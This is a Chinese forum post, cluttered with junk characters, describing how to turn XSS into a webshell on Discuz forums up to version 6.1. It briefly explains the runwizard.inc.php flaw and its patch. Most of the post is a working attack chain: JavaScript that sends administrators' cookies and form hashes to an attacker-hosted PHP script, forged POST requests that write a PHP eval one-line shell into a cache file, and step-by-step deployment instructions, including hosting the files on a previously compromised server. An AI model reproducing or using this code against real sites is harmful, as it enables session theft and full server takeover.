Discuz XSS得webshell- o' q7 n" p! y+ g- ~
By racle @tian6.com
* w, A% b1 J: B9 J欢迎转帖.但请保留版权信息.
X* Z' k, f$ e0 a D4 s2 S% k/ m受影响版本 iscuz<=6.1.0,gbk+utf+big5) F$ j& ?, x0 T! F
+ O: L8 X1 [) j9 w7 E1 {' O" u- R新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.6 O) E S; r( ? {5 O. K0 ?
/ X7 _8 [4 \/ @% P n; N; c
g1 K0 ?/ Z, U
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87060 j2 j" U3 t- R4 A6 \- E5 o
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
6 S* P) n2 ^. i( J, s2 i4 D/ Y# J& E3 Z6 o" j; G% L
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..# z1 H- V3 m8 K" r: s2 t
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS. A. V1 ^2 [; W# q# d5 k/ J
, T4 x( i3 e% U: B1 K w% M- |
% Q" h Q* G# ^8 E$ |! F9 L% s. A* U----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
: F. }, T/ P; b) O( Q" p6 F h
" c$ f' w) a& R* j8 M
* |3 K2 l2 A$ C, Z1 Sproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
. f H& G4 g' O+ d: _# B L' F/ _* G5 t5 C T
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
, D7 t8 d/ Q6 v2 {4 @/ P5 ~; T: w7 Y8 v4 i, P7 Y
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
& k- b8 F- B+ E0 X# h3 [7 b8 L% u x
3 L& u# Q( Y' C, m/ {下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
4 |% }" s, @4 b' N t0 O( y0 f9 G$ \* H) K! ^ @, h+ z
global $runwizardfile, $runwizardhistory;
& n2 K+ f/ z9 p8 w: y7 [0 R" a T z4 H) A- O9 T5 C
$fp = fopen($runwizardfile, 'w');# I/ [$ o4 E% A7 g( c" y3 l
5 h: h/ F& S( g6 } fwrite($fp, serialize($runwizardhistory));
2 \2 h7 H- k1 n \0 l
1 a+ o: f7 \( X/ A. Y fclose($fp);
- u7 N ^" m' `: d9 n- J
# t ~0 j* q3 ?( u8 A0 b}! g$ G! O7 }3 W p+ ^4 M A$ N
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.5 D7 J! T' L% A/ |2 k
以下是修补的办法:function saverunwizardhistory() {8 l& X4 a2 c+ @. `( s& x" q
3 \/ S' b C2 X2 G! v
global $runwizardfile, $runwizardhistory;) \; g* r, z+ r6 n, y# H) k2 X- u
/ M7 {. V- K: k% I) z8 M2 S
$fp = fopen($runwizardfile, 'w');
8 t* b; r5 V- m3 s3 F, a
* A: m: Z2 o+ o $s = '<?php exit;?>'; W6 r& d( K8 I$ t
; D$ y- i1 w# w |9 h! `
$s .= serialize($runwizardhistory);
; S0 ^' y5 b! ^/ M# Y9 ]* P7 Z
) i& f. z) g5 U ~# [! c fwrite($fp, $s);
+ C/ o4 F2 n% a1 i$ h1 q }" k4 G& D: l* X, q3 U
fclose($fp);8 l+ L s4 h# N$ s/ r
( R0 |* W/ D& }) h
}- |4 k- c q8 B* _) ]* [$ H
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
1 t/ J$ T0 \) k! x& |5 e8 D m0 W; s1 G: u! i1 q% \; b
# [, `1 x% Z# O. O+ ?9 c0 B+ x- T
) b$ `% [) d a, ~
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
2 E& G, Q5 {8 V) v5 P( |9 n, I! b/ \3 |
, i, H8 T( I4 i3 t% y! _
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.1 U* p i& L% c' }- r' _0 T" ^# H
/ m2 f3 b* X- y& j" m+ D
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.0 W4 l2 y' I, z; d
; T' G I7 v$ ?/ p这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.) w: S& Q4 L/ h, k) o. A# x
& m4 p: D }1 t0 n" M. ]9 l( @首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:, M3 u" \; P; P+ U4 s
! }/ H g, Y1 Z* Z. Bvar url="http://目标网站/admincp.php"; 8 Z$ _9 X( |7 P& o0 J: @* @9 j3 d
' |- a2 @% J% f
/*获得cookies*/0 @& F5 D+ T% `! {. C( h5 I2 H
( S I9 C1 D& x! b7 }$ H
function getURL(s) {8 R8 e: `0 [) E! u9 b, X
( f& y; N- g) ^, Pvar image = new Image();
9 O1 I/ g) N- H! p, x: `
4 N# \4 l3 U) fimage.style.width = 0;
; f0 s& v% x2 u" S8 o4 T* N7 L! n
7 C) j% d$ Y& f8 W. r4 z' Y6 simage.style.height = 0;
' w5 i7 ^/ i) F/ G
+ t( p2 c1 H! Q5 M: \. W/ }image.src = s;7 P0 x. w: x9 C; T* Q
) H$ ^' w4 }: m; S0 O, C% M
}
3 @; R0 W% R) |! H; e3 \( E" l) O4 j9 U4 @5 K2 c
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php6 D6 h* O8 q! i! U" ?' ?
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
1 o9 {% \4 `- J# I7 A复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
) T4 v# g9 X) Z; S$ o. z9 c9 X
. l* D* G7 [, Y) d1 r! r* p5 ]* X; o. X! M$ ]% D
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
; Q5 Q0 c, i# H3 Q# L7 |* v6 F: F" T3 l5 g/ P/ x# _, Y
; W! x* P/ d* x4 ?1 G5 @! ^: f9 ^
/*hash*/
$ V- y- Q- \: J7 U, c: ]; V$ M. p3 x6 V
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");9 m! i' u4 x3 y% B0 C
2 `3 C4 h+ h* ?5 q( n2 g2 Y
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);7 e" |/ R3 d0 H) [ Z
- h- k+ }/ o& g, ?1 R# exmlHttpReq.send();
6 P( I! U t. G% P: U( O8 ^) }, J
var resource = xmlHttpReq.responseText;
: A% \0 ^( ?7 w x5 U. ?$ j: j
: N y9 Q4 U9 `8 w fvar numero = resource.search(/formhash/);- d% B' }9 W4 I( N
! z' I2 D4 g' {' Y @2 l$ r
var formhash=encodeURIComponent(resource.substr(numero+17,8));; G7 h. ~2 ?9 l' e& C/ o9 Q% [
. @7 `5 u: W! p6 x+ U
3 W2 Q/ ?8 T2 s8 z3 i: w% O q( x+ P2 J9 ^" H( k
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 - ]$ y$ H" Y) V+ F: s* K# p: O
1 ?* s$ n" m$ i! _( b$ CxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 ! {3 T$ |. [7 W+ o0 q
% W0 t' [" K0 E' Z q" mxmlHttpReq.setRequestHeader("Referer", url);
! \3 t7 y6 S. a4 \8 b5 e* z5 b9 z( ]8 d( `
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
4 j) I8 K7 i: _* x' B/ G
8 Y9 G& L! g# MxmlHttpReq.setrequestheader("content-length",post.length);
, I: P% G9 W4 V1 D- g; J) C' x9 {5 w" y" p9 [
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); , ~% p8 K. Q% X% A
+ G3 g! l V" v2 l+ h8 D7 oxmlHttpReq.send(post);//发送数据
" K% {) `+ b8 p1 i复制代码这里HASH我假设正确,这样提交,也无须cookies
/ W1 x# H8 i, P/ r$ d( y" u& o7 N* g
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);4 E6 |: L5 X) y0 a
/ y/ w G% n8 y/ O. ~+ Q8 xif (!$sock) die("$errstr ($errno)\n");
* a1 ]7 ?% u9 e2 @9 u/ _2 s
! _2 ^0 ^, _ A3 N G$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';* B9 ]- _2 R* H7 I- r
# I7 s5 J0 Y. v* e
@& Q1 A" m- S, ?; {8 n
% _* Y: |8 x" P" s" U5 qfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");6 z2 i7 {% _ j7 O
' t( d/ P& G8 m6 R( X! d( I
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
0 i1 h0 W! K1 ?( I0 C4 p
) a6 n% m. m! ^# ]6 ]fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
4 v5 N3 U! H; p. T( C: ~7 ?- b8 [6 h, W" p( S7 B: Z. f2 ]
fwrite($sock, "Accept-Language: zh-cn\r\n");
6 f! ~; m+ R9 P7 M: q5 S7 B& r
0 q# e) {9 G. d5 l# m) vfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
; w4 G. {) S- H: i
; ?0 A+ w! K0 b& R7 A4 gfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
: [. `0 ^7 b& E0 B, \5 m. M% c5 F2 c9 Z# F
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
" Z3 j! P* s. _' V
- @5 R0 E# b5 Xfwrite($sock, "Host: $url\r\n");
1 d ?' x2 }& ^2 ~8 ?
- {+ I& L+ F& n" H8 U( ffwrite($sock, "Content-Length: ".strlen($data)."\r\n");
6 ?; m+ W. e0 k4 i" y
/ w9 E$ }! X R- ?, _) y7 gfwrite($sock, "Connection: Keep-Alive\r\n");3 y7 F8 i- w' z
0 Q! ~1 a1 S6 E* _% n, f
fwrite($sock, "Cache-Control: no-cache\r\n");/ o- r/ d6 B, m R9 a) e5 S3 K( p
! i/ i- `% ]' Z Mfwrite($sock, "Cookie:".$cookies."\r\n\r\n");& |) h6 H% W$ {; n' E& G
8 a5 ]7 e, G' z- K% i# j+ O
fwrite($sock, $data);' |0 _$ b1 i6 W9 X$ ~' f6 V
8 a, M0 V# t; r- f- ?& n% M. Y' R- O
( d9 C( k1 m6 `& {& z
* m. o ]% k2 I- M, e$headers = "";
, Y9 z6 T0 N( W
: a% M3 y" e! C+ A* j% e1 ^& g9 vwhile ($str = trim(fgets($sock, 4096)))$ L" {, b7 e: \
9 C5 S- W3 O# ]* q; Y) V $headers .= "$str\n";: J( f* i2 X: Q' j* c
4 e' k7 j, q* e5 ]echo "\n";+ c3 n7 K% Y2 E% W f
- |& l& B6 E' i' s, }$body = "";+ Q0 P8 A! N" p+ @2 X: H
% T! Y5 C* L4 X: ^; W- ?7 Uwhile (!feof($sock))* H- R1 z( w& k; _
. u8 L% O; ~. y e: N) g
$body .= fgets($sock, 4096);
) {; v" Q. k# }
! A9 m1 q" B2 i0 ffclose($sock); A9 J: p. I+ `' P
& C( S' q% Z, q' C( zecho $body;
' P V; x$ F. F0 D复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^2 z) y8 W( a: a7 q& P
& `: p0 @) y2 h% j5 h
, c0 H1 Z1 T5 h0 f, P
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
1 d9 N4 I5 [8 L" a; v. t9 C
. C: ~) C+ P. w7 u; |
+ Z8 \3 w6 j9 h( F. V( l1 HP SOCKET利用方法首先打开racle.js
/ ]: ?* P+ n. U7 a( Z* {2 Q; U) V
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
7 J3 V6 L; K# b( u3 E/ ^$ h) I; q( n# [* @1 ^# f2 E
, h- A8 ?6 K5 T3 h9 Y' r4 m" L5 H4 r7 o {; h) a4 D# k
然后打开racle@tian6.php0 ?1 S& I3 F% X4 U
9 F( |5 f! F t o+ J
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com! b2 B2 l) }6 q$ Q F8 C' m1 S
" T$ Z' z u+ Q- ?: s2 i* r7 N3 _
5 V) |, \9 V, U# g' J" a9 F, {0 `1 V% u4 ~
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:8 e' h" o* i/ z5 s% j# M4 \
% x/ @- F% q' {% WgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));1 x; u* L Q: M% ~/ |5 T, |
% f" ^6 U6 P& ?, a1 U为' m, O2 f; j0 L* e" n2 q2 L& C
5 S% B/ d' p' b0 _/ v% `8 agetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));: v; Y' _2 B- y0 e, P; O
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
- R: x ?) d- g5 x c7 C6 c/ T! e( _
& |+ Z* R- @2 W
5 d7 _8 }4 X% I+ d) ~# D8 P% Z& y, U如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
- w( l& c$ k' C- ?9 m' m" u* s3 _
1 f3 z, a: R+ c8 `9 ]var formhash=encodeURIComponent(resource.substr(numero+17,8));
$ u; r0 p) J1 t+ g3 C, S
4 Q3 ^: v# M8 ?. n. c! F& F为3 k( N( m* P0 F: a5 P+ h0 R: y
; L* {; ?$ W* F3 l7 A& R) Pvar formhash=encodeURIComponent(resource.substr(numero+9,8));4 {- U8 m8 u/ N7 T1 U$ P9 R
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧., D6 }$ v9 Z: u+ b: j4 K
- B" c, W6 J9 Y如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
0 P2 {0 ?2 Z5 v- ^ ^( `' H
5 w5 A# p* b% U+ i6 f" O( j如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.' G, ]/ _! a$ F0 o" y9 B" H3 @. a
& @# j* Z7 } ~- d# q, Z不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.) C+ V8 G# s3 C! { s
$ q- t+ v& }+ K1 _3 o, a* j |